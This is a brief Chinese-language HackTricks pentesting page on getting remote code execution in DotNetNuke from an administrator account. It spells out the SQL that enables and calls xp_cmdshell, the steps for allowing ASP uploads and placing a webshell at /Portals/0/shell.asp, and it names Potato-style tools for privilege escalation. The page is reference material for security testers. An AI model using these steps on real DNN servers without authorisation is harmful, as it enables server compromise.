DotNetNuke (DNN)

Reading time: 2 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

DotNetNuke (DNN)

如果您以 administrator 身份登录 DNN,获取 RCE 非常简单。

RCE

通过 SQL

Settings 页面下可以访问 SQL 控制台,您可以启用 xp_cmdshell运行操作系统命令

使用以下行来启用 xp_cmdshell

sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE

然后,按 "Run Script" 运行该 SQL 语句。

接着,使用以下内容运行操作系统命令:

sql
xp_cmdshell 'whoami'

通过 ASP webshell

Settings -> Security -> More -> More Security Settings 中,您可以在 Allowable File Extensions添加新的允许扩展名,然后点击 Save 按钮。

添加 aspaspx,然后在 /admin/file-management 上传一个名为 shell.aspasp webshell

然后访问 /Portals/0/shell.asp 以访问您的 webshell。

权限提升

您可以使用 PotatoesPrintSpoofer 例如 提升权限

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks